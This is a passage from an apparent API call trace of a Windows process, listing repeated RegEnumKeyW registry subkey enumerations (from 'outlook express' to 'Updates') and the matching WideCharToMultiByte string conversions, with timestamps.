lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x226c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x226b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0140.080] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x226b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0140.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x226c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x226b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x226c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x226b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x226c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x226b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x226b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x226c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x226b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x226c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x226b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x226c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x226b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x226c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0140.081] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x226b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x226c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x226b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x226b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x226c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x226b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x226c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x226b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x226c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x226b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x226b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x226c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x226b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0140.082] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x226b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x226c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x226b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x226c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x226b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x226c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x226b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x226c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x226b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x226c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x226b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x226b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x226c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0140.083] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x226b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0140.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x226b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x226c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0140.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x226b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x226c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0140.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x226b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x226c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0140.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x226b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x226c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0140.084] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x226b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x226c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x226b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x226c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x226b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x226c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x226b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x226c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x226b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x226c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x226b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x226b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x226c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0140.085] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x226b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0140.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x226c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x226b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x226c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0140.086] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x226b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x226c120, cbMultiByte=7, 